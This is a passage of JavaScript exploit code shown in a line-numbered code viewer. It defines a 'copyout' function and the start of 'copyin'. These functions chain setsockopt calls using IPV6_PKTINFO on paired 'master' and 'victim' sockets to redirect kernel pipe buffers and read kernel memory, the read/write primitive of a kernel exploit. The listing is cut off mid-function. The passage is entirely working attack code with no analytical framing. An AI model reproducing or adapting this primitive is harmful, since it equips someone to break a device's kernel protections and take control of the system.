(dest, source, length)
| 1125 | let pipe_addr = p.read8(read_buf_store); |
| 1126 | |
| 1127 | let copyout = async function(dest, source, length) { |
| 1128 | if (typeof copyout.value == 'undefined') { |
| 1129 | copyout.value0 = new int64(0x40000000, 0x40000000); |
| 1130 | copyout.value1 = new int64(0x00000000, 0x40000000); |
| 1131 | } |
| 1132 | |
| 1133 | chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x00)); |
| 1134 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1135 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1136 | chain.push_write8(write_buf_store.add32(0x00), copyout.value0); |
| 1137 | chain.push_write8(write_buf_store.add32(0x08), copyout.value1); |
| 1138 | chain.push_write4(write_buf_store.add32(0x10), 0); |
| 1139 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1140 | await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14); |
| 1141 | |
| 1142 | chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x10)); |
| 1143 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1144 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1145 | chain.push_write8(write_buf_store.add32(0x00), source); |
| 1146 | chain.push_write8(write_buf_store.add32(0x08), 0); |
| 1147 | chain.push_write4(write_buf_store.add32(0x10), 0); |
| 1148 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1149 | await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14); |
| 1150 | |
| 1151 | await chain.add_syscall(SYSCALL_READ, pipe_read, dest, length); |
| 1152 | await chain.run(); |
| 1153 | } |
| 1154 | |
| 1155 | let copyin = async function(dest, source, length) { |
| 1156 | if (typeof copyin.value == 'undefined') { |
no test coverage detected